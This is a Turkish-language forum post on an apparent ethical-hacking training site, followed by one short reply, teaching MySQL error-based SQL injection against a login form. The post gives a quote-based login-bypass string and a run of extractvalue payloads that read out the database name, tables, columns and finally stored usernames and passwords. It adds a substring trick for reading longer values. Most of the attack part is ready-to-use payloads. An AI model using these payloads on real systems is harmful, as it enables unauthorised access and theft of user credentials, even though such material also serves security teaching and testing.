Siber Güvenlik Dünyasına Hoşgeldiniz

Ulusal Siber Güvenlik Akademisi olarak sizlere bu alanda siber güvenlik & ethical hacking eğitimi , günümüz siber saldırılarında kullanılan araç ve teknikleri kullanarak, siber güvenlik konusunda sizlere saldırı ve savunma yönünden eğitimler ile sizlerin çözümler üretebileceğiniz bir siber dünya sunuyoruz .

  • Ulusal Siber Güvenlik Akademisi olarak sizlere bu alanda siber güvenlik & ethical hacking eğitimi , günümüz siber saldırılarında kullanılan araç ve teknikleri kullanarak, siber güvenlik konusunda sizlere saldırı ve savunma yönünden eğitimler ile sizlerin çözümler üretebileceğiniz bir siber dünya sunuyoruz .

Mysql Error based injection

dokki

NEFER
NEFER
Katılım
11 Haz 2018
Mesajlar
5
Beğeniler
2
Yaş
28
#1
Sql injection çeşitlerinden güvenlik riski yüksek olan diğer bir açığı makaleye dökelim.
Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.


You do not have permission to view link Giriş yap veya üye ol.










Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.
You do not have permission to view link Giriş yap veya üye ol.









Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;
select * from uyeler where username='asd' and password='asd'

şimdi bir de kullanıcı adı bölümüne: '=' 'or' ile deniyelim.
select * from uyeler where username=''=' 'or' ' and password=''=' 'or' '
yukarıdaki sorgudan anlaşılacağı gibi username='' deki ve password='' deki
tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.
You do not have permission to view link Giriş yap veya üye ol.








Şimdi gelelim extractvalue ile veri çekmeye;
Kullanıcı adı bölümüne : a'and extractvalue(0x1,concat(0x1,(select database())))-- basit bir sorgu ile database adını çekmeyi deniyeceğiz şifre bölümüne ise ' tek tırnak koymanız yeterli -- ifadesi sorguyu kapatacağı için ' tırnak ile true döndüreceğiz sorguyu
select * from uyeler where username=a'and extractvalue(0x1,concat(0x1,(select database())))--' and password=' ve sonuçlara bakalım gördüğünüz gibi database adı geldi.
You do not have permission to view link Giriş yap veya üye ol.







gördüğünüz gibi database adı geldi. Şimdi kolonları çekelim;

and extractvalue(0x1,concat(0x1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- yazıyoruz;
You do not have permission to view link Giriş yap veya üye ol.








şimdi tek tek limitimizi değiştirip tek tek sorguları ekrana yazdırıyoruz.

and extractvalue(0x1,concat(0x1,(select column_name from information_schema.columns where table_schema=database() and table_name='uyeler' limit 0,1)))--
Not:Eğer -- veya # sorgu sonlandırılmıyorsa sorgunun sonuna and'1 ekleyerek de sorgunun syntax hatasız çalışması sağlanır.
You do not have permission to view link Giriş yap veya üye ol.








üyeler tablosundakileri listeledik id , username , password var benim işimi yarıcak iki veri var username ve password şimdi sorgumuzu ona göre yazıp username ve password daki verileri ekrana yazdıracağız ve sonuç alttaki resimde olduğu gibi eğer veritabanında birden çok veri varsa limiti değiştirip çekebilirsiniz.
You do not have permission to view link Giriş yap veya üye ol.






Not: Extravalue toplam 32 karakter döndürür daha fazlasını okumak için substring kullanılır.
Örnek Sorgu:'and 1=extravalue(null,concat(0x3a,(select substring(table_name,32,32) from information_schema.tables where table_schema=database() limit 1 offset 0)))
 

alfuas

NEFER
NEFER
Katılım
14 Haz 2018
Mesajlar
3
Beğeniler
0
Yaş
22
#3
Daha önce de Sql injection saldırısı ile ilgili bir şeyler okuduğumu hatırlıyorum kafama yine aynı soru takılmıştı.Biz bu Sql sorgularını tam olarak nereye yazıyoruz ? Sonuçta veri tabanından bilgi çekebilmek için bir şekilde veri tabanıyla bir iletişimimizin olması gerekiyor.